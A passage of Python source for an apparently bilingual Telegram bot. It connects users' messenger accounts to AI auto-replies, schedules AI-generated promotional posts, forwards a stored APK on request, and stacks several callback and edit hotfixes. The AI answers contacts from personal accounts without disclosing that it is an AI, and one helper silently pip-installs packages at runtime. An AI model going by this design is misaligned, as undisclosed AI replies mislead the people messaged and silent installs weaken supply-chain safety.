                if not a: return await _edit(chat_id,msg_id,"❌ Account not found.",_ai_platform_kb())
                db.execute("INSERT OR IGNORE INTO ai_bindings(user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at) VALUES(?,?,?,?,?,?,?)",(uid,aid,1,1,0,now(),now()))
                db.execute("UPDATE ai_bindings SET enabled=1,updated_at=? WHERE user_id=? AND account_id=?",(now(),uid,aid))
                client=await _ensure_ai_client(uid,aid)
                reg = bool(client and _register_ai_handler(client,uid,a["service"],aid))
                note=("\n✅ Live AI handler registered." if lang == "en" and reg else "\n⚠️ Account session is not live; reconnect/login is required." if lang == "en" else ("\n✅ هندلر زنده AI وصل شد." if reg else "\n⚠️ نشست زنده اکانت در دسترس نیست؛ ورود اکانت را دوباره انجام دهید."))
                return await _edit(chat_id,msg_id,(trx_sc("✅ AI bound to this account.") if lang == "en" else "✅ **AI روی این اکانت فعال شد.**")+note,ai_manage_kb(aid,lang))
            if data.startswith("ai.bind.test:"):
                aid=int(data.split(":",1)[1]); ok,info=await _ai_send_test(uid,aid)
                txt=(trx_sc("✅ "+str(info)) if ok and lang=="en" else (trx_sc("❌ "+str(info)) if lang=="en" else ("✅ **" if ok else "❌ **")+str(info)+"**"))
                return await _edit(chat_id,msg_id,txt,ai_manage_kb(aid,lang))
            if data.startswith("ai.bind.toggle:"):
                aid=int(data.split(":",1)[1]); db.execute("UPDATE ai_bindings SET enabled=1-enabled,updated_at=? WHERE account_id=? AND user_id=?",(now(),aid,uid)); return await _edit(chat_id,msg_id,trx_sc("✅ AI state updated.") if lang=="en" else "✅ وضعیت AI تغییر کرد.",ai_manage_kb(aid,lang))
            if data.startswith("ai.bind.pv:"):
                aid=int(data.split(":",1)[1]); db.execute("UPDATE ai_bindings SET auto_reply_pv=1-auto_reply_pv,updated_at=? WHERE account_id=? AND user_id=?",(now(),aid,uid)); return await _edit(chat_id,msg_id,trx_sc("✅ PV auto-reply updated.") if lang=="en" else "✅ پاسخ PV تغییر کرد.",ai_manage_kb(aid,lang))
            if data.startswith("ai.bind.group:"):
                aid=int(data.split(":",1)[1]); db.execute("UPDATE ai_bindings SET auto_reply_group=1-auto_reply_group,updated_at=? WHERE account_id=? AND user_id=?",(now(),aid,uid)); return await _edit(chat_id,msg_id,trx_sc("✅ Group reply updated. Only directed/replied-to messages are handled.") if lang=="en" else "✅ پاسخ گروه تغییر کرد؛ فقط پیام‌های مستقیم/ریپلای‌شده پردازش می‌شوند.",ai_manage_kb(aid,lang))
            if data.startswith("ai.bind.del:"):
                aid=int(data.split(":",1)[1]); db.execute("DELETE FROM ai_bindings WHERE account_id=? AND user_id=?",(aid,uid)); return await _edit(chat_id,msg_id,trx_sc("🗑 AI binding removed.") if lang=="en" else "🗑 اتصال AI حذف شد.",_ai_platform_kb())

        if data == "ai.tasks":
            rows = db.fetchall("SELECT * FROM ai_tasks WHERE user_id=? ORDER BY id DESC", (uid,))
            lines = [trx_sc("⏱ Scheduled AI Tasks") if lang=="en" else "⏱ **تسک‌های زمان‌بندی AI**"]
            btns=[]
            for r in rows:
                status = "🟢" if r["enabled"] else "🔴"
                lines.append(f"{status} #{r['id']} | {r['task_type']} | {r['target']} | {max(1,int(r['interval_seconds'])//60)}m")
                btns.append([(trx_sc("🗑 Delete ")+f"#{r['id']}" if lang=="en" else f"🗑 حذف #{r['id']}",f"ai.task.del:{r['id']}","danger")])
                btns.append([(trx_sc("🔴 Disable" if r["enabled"] else "🟢 Enable") if lang=="en" else ("🔴 خاموش" if r["enabled"] else "🟢 روشن"),f"ai.task.toggle:{r['id']}","danger" if r["enabled"] else "success")])
            btns.append([(trx_sc("↩️ Back") if lang=="en" else "↩️ بازگشت","ai","primary")])
            return await _edit(chat_id,msg_id,"\n".join(lines),IKB(btns))
        if data.startswith("ai.task.del:"):
            tid=int(data.split(":",1)[1]); db.execute("DELETE FROM ai_tasks WHERE id=? AND user_id=?",(tid,uid)); return await dispatch_cb(cb_id,uid,lang,u,chat_id,msg_id,"ai.tasks")
        if data.startswith("ai.task.toggle:"):
            tid=int(data.split(":",1)[1]); db.execute("UPDATE ai_tasks SET enabled=1-enabled,updated_at=? WHERE id=? AND user_id=?",(now(),tid,uid)); return await dispatch_cb(cb_id,uid,lang,u,chat_id,msg_id,"ai.tasks")

        if data == "ai.group":
            rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))
            btns=[[(trx_sc(f"#{r['id']} — {_trx_service_name('en',r['service'])}") if lang=="en" else f"#{r['id']} — {_trx_service_name('fa',r['service'])}",f"ai.task.account:group:{r['id']}","primary")] for r in rows]
            btns.append([(trx_sc("↩️ Back") if lang=="en" else "↩️ بازگشت","ai","primary")])
            msg=(trx_sc("👥 **Group Scheduler**\n\nChoose the connected account that has permission to post in the target group. The AI will use the same KB, campaign prompt and tone.") if lang=="en" else "👥 **تبلیغ زمان‌بندی‌شده در گروه**\n\nاکانتی را انتخاب کنید که اجازه ارسال در گروه هدف را دارد. دانش محصول، پرامپت و لحن همان تنظیمات AI است.")
            return await _edit(chat_id,msg_id,msg,IKB(btns))
        if data.startswith("ai.task.account:group:") or data.startswith("ai.task.account:channel:"):
            kind, aid_s = data.split(":",2)[1:]
            aid=int(aid_s); a=db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not a: return await _edit(chat_id,msg_id,"❌ Account not found.",ai_advanced_menu(lang,uid))
            client=await _ensure_ai_client(uid,aid)
            if not client: return await _edit(chat_id,msg_id,"⚠️ Account session is not connected.",ai_advanced_menu(lang,uid))
            st = State.AI_TASK_TARGET if hasattr(State,"AI_TASK_TARGET") else State.AI_CHANNEL_NAME
            state.set(uid, st, mode=f"{kind}_task", task_kind=kind, account_id=aid)
            prompt=(trx_sc("📍 Send the target group link/ID. The account must be allowed to post there.") if lang=="en" else "📍 لینک/شناسه گروه هدف را بفرستید؛ اکانت باید اجازه ارسال در آنجا را داشته باشد.") if kind=="group" else (trx_sc("📰 Create the channel in the messenger app with this same account, then send its link/username here. The account must be the owner/admin.") if lang=="en" else "📰 با همین اکانت یک کانال بسازید و لینک/آیدی آن را بفرستید؛ کانال باید متعلق به همین اکانت باشد یا اکانت دسترسی مدیریت/ارسال داشته باشد.")
            return await _edit(chat_id,msg_id,prompt,IKB([[(trx_sc("❌ Cancel"),"cancel","danger")]] if lang=="en" else [[("❌ لغو","cancel","danger")]]))
        if data == "ai.channel":
            rows=db.fetchall("SELECT * FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC",(uid,))
            btns=[[(trx_sc(f"#{r['id']} — {_trx_service_name('en', r['service'])}") if lang=="en" else f"#{r['id']} — {_trx_service_name('fa', r['service'])}", f"ai.task.account:channel:{r['id']}", "primary")] for r in rows]
            btns.append([(trx_sc("↩️ Back") if lang=="en" else "↩️ بازگشت","ai","primary")])
            text=(trx_sc("📰 **AI Channel Scheduler**\n\nCreate a channel with the same connected account, send its link, choose the interval, and let AI generate posts using your product knowledge, campaign prompt and tone.") if lang=="en" else "📰 **کانال AI**\n\nبا همان اکانتی که AI روی آن فعال است کانال را بسازید و لینک آن را بدهید؛ سپس فاصله ارسال را تعیین کنید تا AI با دانش محصول، پرامپت و لحن شما محتوا تولید و منتشر کند.")
            return await _edit(chat_id,msg_id,text,IKB(btns))

        if data.startswith("acc.svc:") or data.startswith("acc.add.svc:"):
            # Localize account flow while preserving the legacy account-management logic.
            svc=data.split(":",1)[1]
            if data.startswith("acc.add.svc:"):
                state.set(uid,State.ADD_ACC_PHONE,service=svc)
                txt2=(trx_sc(f"📱 {svc.upper()}\n\nSend the phone number with country code.") if lang=="en" else f"📱 **{_trx_service_name(lang,svc)}**\n\n{t(lang,'acct.phone')}")
                return await _edit(chat_id,msg_id,txt2,IKB([[(trx_sc("❌ Cancel") if lang=="en" else "❌ لغو","cancel","danger")]]))
            accounts=db.fetchall("SELECT * FROM accounts WHERE user_id=? AND service=?",(uid,svc))
            lines=[trx_sc(f"📱 {svc.upper()} Accounts") if lang=="en" else f"📱 **{_trx_service_name(lang,svc)} — لیست حساب‌ها**"]
            btns=[]
            for a in accounts:
                lines.append(("🟢" if a["enabled"] else "🔴")+f" #{a['id']} — {_mask_phone(a['phone'])}")
                btns.append([(trx_sc("⚙️ Manage ")+f"#{a['id']}" if lang=="en" else f"⚙️ {_mask_phone(a['phone'])}",f"acc.mg:{a['id']}","primary")])
            if not accounts: lines.append(trx_sc("No accounts yet.") if lang=="en" else "هنوز حسابی ثبت نشده است.")
            btns.append([(trx_sc("➕ Add Account") if lang=="en" else "➕ افزودن حساب",f"acc.add.svc:{svc}","success")])
            btns.append([(trx_sc("↩️ Back") if lang=="en" else "↩️ بازگشت","acc","primary")])
            return await _edit(chat_id,msg_id,"\n".join(lines),IKB(btns))

        if data == "set.lang":
            return await _edit(chat_id,msg_id,"🌐 Language / زبان",IKB([[("🇮🇷 فارسی","set.lang:fa","primary"),(trx_sc("🇬🇧 English"),"set.lang:en","primary")],[(t(lang,"btn.home"),"menu","primary")]]))
        if data.startswith("set.lang:"):
            new=data.split(":",1)[1]
            if new not in {"fa","en"}:
                return await bot.answer_cb(cb_id,"Invalid language",alert=True)
            db.execute("UPDATE users SET lang=? WHERE user_id=?",(new,uid))
            return await _edit(chat_id,msg_id,t(new,"lang.changed"),main_menu(new,uid))

        # Admin API entry points are re-routed to the working wizard and explicit tests.
        if data == "adm.apis":
            return await _edit(chat_id,msg_id,trx_sc("🔌 **AI API Manager**") if lang=="en" else "🔌 **مدیریت APIهای هوش مصنوعی**",admin_apis_menu(lang))
        if data == "adm.api.add":
            state.set(uid,State.ADD_PROVIDER_NAME)
            return await _edit(chat_id,msg_id,trx_sc("➕ **Add API Provider**\n\nSend a unique provider name, e.g. MY_GROQ_1") if lang=="en" else "➕ **افزودن Provider**\n\nیک نام یکتا بفرستید؛ مثال: `MY_GROQ_1`",IKB([[(trx_sc("❌ Cancel") if lang=="en" else "❌ لغو","cancel","danger")]]))
        if data.startswith("adm.api.test:"):
            pid=int(data.split(":",1)[1]); ok,info=await ai.test(pid); p=db.fetchone("SELECT name FROM ai_providers WHERE id=?",(pid,)); name=p["name"] if p else str(pid)
            return await bot.answer_cb(cb_id,("✅ "+name+" OK" if ok else "❌ "+name+" failed: "+str(info)[:180]),alert=not ok)
        if data == "adm.apis.testall":
            rows=db.fetchall("SELECT * FROM ai_providers ORDER BY priority,id")
            lines=[trx_sc("🧪 **API Test Results**") if lang=="en" else "🧪 **نتیجه تست APIها**"]
            for p in rows:
                ok,info=await ai.test(p["id"])
                lines.append(("🟢" if ok else "🔴")+f" #{p['id']} {p['name']} — "+("OK" if ok else str(info)[:180]))
            return await _edit(chat_id,msg_id,"\n".join(lines),admin_apis_menu(lang))

        return await _TRX_PREVIOUS_DISPATCH(cb_id,uid,lang,u,chat_id,msg_id,data)
    except Exception as e:
        log.error(f"TRX v6 callback {data}: {e}\n{traceback.format_exc(limit=40)}")
        try:
            await bot.answer_cb(cb_id,"⚠️ خطا ثبت شد؛ دوباره همین بخش را باز کنید.",alert=True)
        except Exception:
            pass


# ---------- Remove the legacy standalone-banner behaviour from normal flow ----------
async def _maybe_send_banner(chat_id, uid, slot):
    # Intentionally no standalone message: banner is rendered inside the panel message.
    return None


# ---------- Intercept /start and make the welcome banner + panel a single message ----------
_TRX_PREVIOUS_ON_MSG_START = on_msg

async def on_msg(msg):
    from_ = msg.get("from", {}) or {}
    uid = from_.get("id")
    txt = (msg.get("text") or "").strip()
    chat_id = msg.get("chat", {}).get("id")
    if uid and txt.startswith("/start"):
        try:
            u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
            ok, info = await check_force_join(uid)
            if not ok:
                return await bot.send(chat_id, "📌 **عضویت اجباری**\n\nبرای استفاده ابتدا عضو کانال‌های زیر شوید:", reply_markup={"inline_keyboard": info["btns"]})
            if not _is_bot_enabled() and not is_admin(uid):
                return await bot.send(chat_id,"🛠 **ربات در حال تعمیر است**")
            return await _trx_send_panel(chat_id, t(u["lang"] or "fa", "welcome"), main_menu(u["lang"] or "fa", uid), "main_menu", u["lang"] or "fa")
        except Exception as e:
            log.error(f"TRX v6 /start: {e}\n{traceback.format_exc(limit=40)}")
    return await _TRX_PREVIOUS_ON_MSG_START(msg)


# ---------- Cancel must always clear every state, including new v6 states ----------
_TRX_PREVIOUS_DISPATCH_CANCEL = dispatch_cb
async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    if data == "cancel":
        state.pop(uid)
        return await _edit(chat_id,msg_id,t(lang,"cancelled"),main_menu(lang,uid))
    return await _TRX_PREVIOUS_DISPATCH_CANCEL(cb_id,uid,lang,u,chat_id,msg_id,data)


# ---------- Final account handler: enable live AI immediately after OTP login ----------
def _trx_enable_latest_ai(uid, service):
    aid = _account_id_for(uid, service)
    if not aid:
        return
    client = ai_live_clients.get((uid, aid))
    if client:
        try:
            _register_ai_handler(client, uid, service, aid)
        except Exception as e:
            log.warning(f"enable latest AI {service}/{aid}: {e}")


# ═══════════════════════════════════════════════════════════════════
#  NOTE ON TARGETED OUTREACH
#  The requested line-by-line list of private IDs for unsolicited AI DM is not
#  wired into this build. AI replies are triggered by inbound/direct messages,
#  while scheduled promotion is limited to explicitly configured group/channel
#  destinations where the connected account is permitted to post.
# ═══════════════════════════════════════════════════════════════════


# ═══════════════════════════════════════════════════════════════════
#  TRX CALLBACK HOTFIX v7
#  Fixes inline buttons becoming unresponsive after one/two clicks.
#  The callback is acknowledged immediately, routing errors are isolated,
#  and failed message edits fall back to a normal message so the user
#  never gets a silent button.
# ═══════════════════════════════════════════════════════════════════

async def _trx_safe_answer_cb(cb_id, text="", alert=False):
    if not cb_id or bot is None:
        return {"ok": False}
    try:
        return await bot.call("answerCallbackQuery", callback_query_id=cb_id,
                              text=str(text)[:200], show_alert=bool(alert))
    except Exception as e:
        log.warning(f"callback acknowledge failed: {e}")
        return {"ok": False, "error": str(e)}

async def _trx_safe_edit(chat_id, msg_id, text, kb=None, lang="fa"):
    """Edit a panel; if Telegram rejects the edit, recover with a new message."""
    if not chat_id or not msg_id:
        return await bot.send(chat_id, text, reply_markup=kb)
    try:
        r = await bot.edit(chat_id, msg_id, text, reply_markup=kb)
        if r.get("ok") or "not modified" in str(r.get("description", "")).lower():
            return r
        log.warning(f"callback edit rejected: {r.get('description') or r.get('error')}")
    except Exception as e:
        log.warning(f"callback edit exception: {e}")
    # Last-resort retry without button styles, then plain message.
    try:
        plain_kb = _strip_styles(kb) if kb else kb
        r = await _orig_bot_edit_v5(bot, chat_id, msg_id, text,
                                    reply_markup=plain_kb, parse_mode="Markdown")
        if r.get("ok"):
            return r
    except Exception as e:
        log.warning(f"callback plain edit failed: {e}")
    try:
        return await bot.send(chat_id, text, reply_markup=_strip_styles(kb) if kb else kb)
    except Exception as e:
        log.error(f"callback recovery send failed: {e}")
        return {"ok": False, "error": str(e)}

async def _trx_final_on_cb(cb):
    cb_id = cb.get("id")
    uid = (cb.get("from") or {}).get("id")
    data = str(cb.get("data") or "")
    message = cb.get("message") or cb.get("inline_message_id")
    if not uid or not message:
        await _trx_safe_answer_cb(cb_id, "⚠️ Callback message not found", True)
        return
    if isinstance(message, dict):
        chat_id = (message.get("chat") or {}).get("id")
        msg_id = message.get("message_id")
    else:
        chat_id = None
        msg_id = None
    if not chat_id or not msg_id:
        await _trx_safe_answer_cb(cb_id, "⚠️ پیام پنل پیدا نشد", True)
        return

    # Acknowledge BEFORE any database/API work. This removes the Telegram
    # spinner even when a downstream handler is slow or broken.
    await _trx_safe_answer_cb(cb_id)

    try:
        if not rl_cb.hit(uid):
            await _trx_safe_answer_cb(cb_id, "⏳ کمی آهسته‌تر تلاش کنید.", True)
            return
        u = ensure_user(uid)
        if u["is_banned"]:
            await _trx_safe_answer_cb(cb_id, "⛔️ حساب شما مسدود است.", True)
            return
        lang = u["lang"] or "fa"
        await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data)
    except Exception as e:
        log.error(f"FINAL CALLBACK [{data}] uid={uid}: {e}\n{traceback.format_exc(limit=40)}")
        # Try to expose the actual failure in a popup; if the callback has
        # already been acknowledged Telegram may reject this, so also send
        # a normal diagnostic message as a fallback.
        r = await _trx_safe_answer_cb(cb_id, "⚠️ خطا در اجرای دکمه؛ دوباره بزنید.", True)
        if not r.get("ok"):
            try:
                await bot.send(chat_id, "⚠️ این بخش با خطای داخلی روبه‌رو شد. جزئیات در trx.log ثبت شده است.")
            except Exception:
                pass

# Install the hotfix LAST so no earlier wrapper can replace it.
on_cb = _trx_final_on_cb

# Make every edit call recover from Telegram's occasional 'message is not
# modified' / invalid-keyboard responses instead of silently doing nothing.
_original_edit_for_hotfix = Bot.edit
async def _hotfix_bot_edit(self, chat_id, message_id, text, reply_markup=None, parse_mode="Markdown"):
    try:
        r = await _original_edit_for_hotfix(self, chat_id, message_id, text,
                                            reply_markup=reply_markup, parse_mode=parse_mode)
        if r.get("ok") or "not modified" in str(r.get("description", "")).lower():
            return r
        if reply_markup:
            r2 = await _orig_bot_edit_v5(self, chat_id, message_id, text,
                                         reply_markup=_strip_styles(reply_markup), parse_mode=parse_mode)
            if r2.get("ok"):
                return r2
        return r
    except Exception as e:
        log.error(f"Bot.edit hotfix: {e}")
        try:
            return await self.call("editMessageText", chat_id=chat_id, message_id=message_id,
                                   text=text, reply_markup=_strip_styles(reply_markup) if reply_markup else None)
        except Exception as e2:
            return {"ok": False, "error": str(e2)}
Bot.edit = _hotfix_bot_edit

# ═══════════════════════════════════════════════════════════════════
# TRX BUTTON FIX v8 — FINAL EDIT FALLBACK
# This is intentionally appended so it overrides every earlier _edit().
# ═══════════════════════════════════════════════════════════════════
async def _edit(chat_id, msg_id, text, kb=None):
    try:
        return await _trx_safe_edit(chat_id, msg_id, text, kb)
    except Exception as e:
        log.error(f"FINAL _edit v8 failed: {e}\n{traceback.format_exc(limit=40)}")
        try:
            return await bot.send(chat_id, text, reply_markup=_strip_styles(kb) if kb else kb)
        except Exception as e2:
            log.error(f"FINAL _edit v8 send fallback failed: {e2}")
            return {"ok": False, "error": str(e2)}

print("\n[TRX117] BUTTON FIX v8 LOADED — /mnt/data/TRX117_BUTTON_FIX_V8.py\n")



# ═══════════════════════════════════════════════════════════════════
# TRX117 FINAL AI / TASK / APK REPAIR — 2026-09-22
# Appended intentionally so these definitions are the final runtime ones.
# ═══════════════════════════════════════════════════════════════════

# The original build mixed several callback/state wrappers.  Keep all existing
# functionality, but make the live-account engine deterministic at the end.

# ----- Rubika dependency bootstrap: install rulog prerequisites in this exact interpreter -----
async def _trx_dummy_async():
    return None

def _trx_import_or_install(import_name: str, pip_name: Optional[str] = None):
    pip_name = pip_name or import_name
    try:
        return __import__(import_name)
    except Exception as first_error:
        packages = []
        if import_name == "rulog":
            # rulog versions in the wild may import nest_asyncio before exposing Client.
            packages = ["nest_asyncio", pip_name]
        else:
            packages = [pip_name]
        last_error = first_error
        for package in packages:
            try:
                subprocess.check_call([sys.executable, "-m", "pip", "install", "-U", package],
                                      stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            except Exception as e:
                last_error = e
        try:
            return __import__(import_name)
        except Exception as second_error:
            raise RuntimeError(
                f"{import_name} unavailable in interpreter {sys.executable}; "
                f"pip={getattr(__import__('pip'), '__version__', '?')}; "
                f"first={first_error}; second={second_error}; last={last_error}"
            )


# ----- Persistent per-account runtime tasks -----
_TRX_LIVE_RUNNERS = {}


def _trx_task_create(coro):
    try:
        loop = asyncio.get_running_loop()
        return loop.create_task(coro)
    except Exception:
        return None


async def _trx_maybe_mark_seen(client, event):
    """Best-effort read/seen operation; never blocks the AI reply."""
    try:
        chat_id = getattr(event, "chat_id", None)
        if chat_id is None:
            chat = getattr(event, "chat", None)
            chat_id = getattr(chat, "id", None) or getattr(chat, "guid", None)
        for name in ("mark_read", "send_read_acknowledge", "read_history"):
            fn = getattr(client, name, None)
            if not fn or chat_id is None:
                continue
            try:
                result = fn(chat_id)
                await _trx_maybe_await(result)
                return
            except TypeError:
                try:
                    result = fn(chat_id, getattr(event, "id", None) or getattr(event, "message_id", None))
                    await _trx_maybe_await(result)
                    return
                except Exception:
                    continue
            except Exception:
                continue
    except Exception:
        pass


async def _trx_live_runner(client, service, uid, aid):
    """Keep an account's event loop alive where the library exposes one."""
    key = (uid, aid)
    try:
        # Some libraries already poll after connect/start; don't start a second
        # loop if their client exposes no explicit runner.
        for name in ("run_until_disconnected", "run_forever"):
            fn = getattr(client, name, None)
            if fn:
                result = fn()
                await _trx_maybe_await(result)
                return
        # Rubpy's sync-compatible run() is blocking. Run it outside asyncio.
        fn = getattr(client, "run", None)
        if fn:
            result = await asyncio.to_thread(fn)
            if asyncio.iscoroutine(result):
                await result
    except asyncio.CancelledError:
        raise
    except Exception as e:
        log.warning(f"AI runner stopped {service}/{aid}: {e}")
    finally:
        _TRX_LIVE_RUNNERS.pop(key, None)


async def _trx_start_live_runner(client, service, uid, aid):
    key = (uid, aid)
    old = _TRX_LIVE_RUNNERS.get(key)
    if old and not old.done():
        return
    # Do not run a blocking client runner for libraries which are known to
    # dispatch through their existing connection object.
    if service in {"soroush", "rubika", "bale"}:
        task = _trx_task_create(_trx_live_runner(client, service, uid, aid))
        if task:
            _TRX_LIVE_RUNNERS[key] = task


# ----- More reliable event extraction -----
def _trx_event_sender_id(event):
    for attr in ("sender_id", "user_id", "from_id"):
        value = getattr(event, attr, None)
        if value is not None:
            return str(getattr(value, "id", value))
    sender = getattr(event, "sender", None) or getattr(event, "from_user", None)
    if sender is not None:
        value = getattr(sender, "id", None) or getattr(sender, "user_id", None)
        if value is not None:
            return str(value)
    return ""


def _trx_event_is_reply(event):
    for attr in ("is_reply", "reply_to_msg_id", "reply_to", "reply_to_message"):
        value = getattr(event, attr, None)
        if value:
            return True
    msg = getattr(event, "message", None)
    if msg is not None:
        for attr in ("reply_to", "reply_to_msg_id", "reply_to_message"):
            if getattr(msg, attr, None):
                return True
    return False


def _trx_event_mentions_me(event):
    text_value = _trx_extract_event_text(event).lower()
    if not text_value:
        return False
    for obj in (getattr(event, "chat", None), getattr(event, "sender", None), getattr(event, "message", None)):
        username = getattr(obj, "username", None) if obj is not None else None
        if username and ("@" + str(username).lower().lstrip("@")) in text_value:
            return True
    return bool(getattr(event, "mentioned", False))


# ----- Conversation memory + product/APK intent -----
def _trx_apk_intent(text):
    x = (text or "").lower()
    words = ("apk", "app", "application", "برنامه", "اپلیکیشن", "اپ", "فایل نصب", "نصب")
    return any(w in x for w in words)


def _trx_apk_pick(uid):
    return db.fetchone("SELECT * FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id DESC LIMIT 1", (uid,))


async def _trx_forward_saved_apk(uid, aid, event):
    """Forward the registered Saved/Self APK when the user asks for the app.
    This is only a response to an inbound message, never a bulk unsolicited DM.
    """
    apk = _trx_apk_pick(uid)
    if not apk:
        return False
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False
    target = getattr(event, "chat_id", None)
    if target is None:
        chat = getattr(event, "chat", None)
        target = getattr(chat, "id", None) or getattr(chat, "guid", None)
    if target is None:
        return False

    # Prefer native forwarding so the original APK is preserved.
    source = apk["message_id"]
    for name in ("forward_messages", "forward_message"):
        fn = getattr(client, name, None)
        if not fn:
            continue
        candidates = [
            ((target, source), {}),
            ((target,), {"messages": [source], "from_": "me"}),
            ((target,), {"message": source, "from_": "me"}),
            ((target, source, "me"), {}),
        ]
        for args, kwargs in candidates:
            try:
                result = fn(*args, **kwargs)
                await _trx_maybe_await(result)
                return True
            except Exception as e:
                log.debug(f"APK forward {name} variant failed: {e}")
    # Fallback to the already implemented cached-upload path when native
    # forwarding is not available.
    ok, _ = await _trx_send_apk(uid, aid, target, apk["id"])
    return bool(ok)


async def _trx_event_handler_v9(event, uid: int, service: str, aid: int):
    try:
        binding = db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
        if not binding:
            return
        text_value = _trx_extract_event_text(event)
        if not text_value:
            return

        # /id is handled on the connected account's own Saved/Self chat.
        # The original source message is stored so future replies can forward
        # the actual APK instead of inventing a URL or re-uploading text.
        if text_value.strip().lower() == "/id" and (getattr(event, "is_me", False) or getattr(event, "out", False)):
            if not binding["enabled"]:
                return
            media = getattr(event, "document", None) or getattr(getattr(event, "message", None), "document", None)
            if media is None:
                media = getattr(event, "media", None) or getattr(getattr(event, "message", None), "media", None)
            filename = getattr(media, "file_name", None) or getattr(media, "name", None) or "app.apk"
            if not str(filename).lower().endswith(".apk"):
                return
            count = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
            if count >= 2:
                log.warning(f"APK limit reached for uid={uid}; /id ignored")
                return
            message_id = getattr(event, "id", None) or getattr(event, "message_id", None)
            if message_id is None:
                message_id = getattr(getattr(event, "message", None), "id", None)
            cur = db.execute("INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,added_at) VALUES(?,?,?,?,?,?)",
                             (uid, "", int(message_id or 0), str(filename)[:255], int(getattr(media, "file_size", 0) or 0), now()))
            apk_id = cur.lastrowid
            db.execute("INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) VALUES(?,?,?,?,?,?)",
                       (apk_id, aid, service, "me", str(message_id or ""), now()))
            log_event(uid, "APK_ADDED", f"{service}:{filename}")
            return

        if not binding["enabled"]:
            return
        if getattr(event, "is_me", False) or getattr(event, "out", False):
            return

        # Mark the inbound message read/seen as soon as the event arrives.
        await _trx_maybe_mark_seen(ai_live_clients.get((uid, aid)), event)

        private = _trx_is_private_event(event)
        group = _trx_is_group_event(event)
        if private and not binding["auto_reply_pv"]:
            return
        if group and not binding["auto_reply_group"]:
            return
        if group and not (_trx_event_is_reply(event) or _trx_event_mentions_me(event)):
            return

        # If the user explicitly asks for the APK, use the registered source
        # message rather than inventing a link/file.
        if _trx_apk_intent(text_value) and _trx_apk_pick(uid):
            if await _trx_forward_saved_apk(uid, aid, event):
                peer_key = _trx_peer_key(event, f"{service}:{aid}")
                _trx_memory_save(uid, aid, peer_key, "user", text_value)
                _trx_memory_save(uid, aid, peer_key, "assistant", "[APK forwarded]")
                log_account_activity(aid, uid, "apk_forward", peer_key, 1)
                return

        peer_key = _trx_peer_key(event, f"{service}:{aid}")
        memory = _trx_memory_load(uid, aid, peer_key, 12)
        extra = (
            f"Conversation peer numeric/key: {peer_key}. "
            "Remember this conversation across messages and answer the current message naturally."
        )
        mode = "private_reply" if private else "group_reply"
        messages = [{"role": "system", "content": _trx_ai_system(uid, aid, mode, extra)}]
        messages.extend(memory)
        messages.append({"role": "user", "content": text_value[:2500]})
        reply = await ai.chat(messages, uid=uid, account_id=aid,
                              action_type="auto_reply", temperature=0.65, max_tokens=600)
        if not reply:
            return

        sent = False
        # Direct event reply preserves the current conversation/thread.
        for method_name in ("reply", "respond"):
            fn = getattr(event, method_name, None)
            if not fn:
                continue
            try:
                result = fn(reply)
                await _trx_maybe_await(result)
                sent = True
                break
            except Exception as e:
                log.debug(f"AI {service}/{aid} {method_name} failed: {e}")
        if not sent:
            client = ai_live_clients.get((uid, aid))
            send = getattr(client, "send_message", None) if client else None
            if send:
                target = getattr(event, "chat_id", None)
                if target is None:
                    chat = getattr(event, "chat", None)
                    target = getattr(chat, "id", None) or getattr(chat, "guid", None)
                if target is not None:
                    result = send(target, reply)
                    await _trx_maybe_await(result)
                    sent = True
        if sent:
            _trx_memory_save(uid, aid, peer_key, "user", text_value)
            _trx_memory_save(uid, aid, peer_key, "assistant", reply)
            log_account_activity(aid, uid, "ai_reply", peer_key, 1)
    except Exception as e:
        log.error(f"AI live v9 {service}/{aid}: {e}\n{traceback.format_exc(limit=40)}")


_TRX_AI_HANDLER_KEYS_V9 = set()


def _trx_attach_handler_v9(client, uid, service, aid):
    key = (uid, aid, id(client))
    if key in _TRX_AI_HANDLER_KEYS_V9:
        return True
    async def handler(event):
        await _trx_event_handler_v9(event, uid, service, aid)

    # Soroush Plus / Bale SDK event systems.
    try:
        if service == "soroush":
            from splusthon import events as ev
            on = getattr(client, "on", None)
            if on:
                deco = on(ev.NewMessage)
                deco(handler)
                _TRX_AI_HANDLER_KEYS_V9.add(key)
                return True
    except Exception as e:
        log.warning(f"Soroush AI handler registration failed: {e}")

    if service == "bale":
        try:
            from bale import events as ev
            on = getattr(client, "on", None)
            if on and hasattr(ev, "NewMessage"):
                deco = on(ev.NewMessage)
                deco(handler)
                _TRX_AI_HANDLER_KEYS_V9.add(key)
                return True
        except Exception as e:
            log.warning(f"Bale event API fallback: {e}")

    # Rubpy's documented API is on_message_updates().
    try:
        on_updates = getattr(client, "on_message_updates", None)
        if on_updates:
            try:
                deco = on_updates()
                deco(handler)
            except TypeError:
                deco = on_updates(None)
                deco(handler)
            _TRX_AI_HANDLER_KEYS_V9.add(key)
            return True
    except Exception as e:
        log.warning(f"Rubpy AI handler registration failed: {e}")

    # Generic compatible event APIs.
    for name in ("on_message", "add_event_handler"):
        try:
            fn = getattr(client, name, None)
            if not fn:
                continue
            result = fn(handler)
            if callable(result) and name == "on_message":
                try:
                    result(handler)
                except Exception:
                    pass
            _TRX_AI_HANDLER_KEYS_V9.add(key)
            return True
        except Exception:
            continue
    return False


# Replace only the final AI registration symbol; existing callers remain intact.
def _register_ai_handler(client, uid: int, service: str, account_id: Optional[int] = None):
    aid = account_id or _account_id_for(uid, service)
    if not aid or client is None:
        return False
    ok = _trx_attach_handler_v9(client, uid, service, aid)
    if ok:
        try:
            db.execute("UPDATE accounts SET status='online',last_activity=? WHERE id=?", (now(), aid))
        except Exception:
            pass
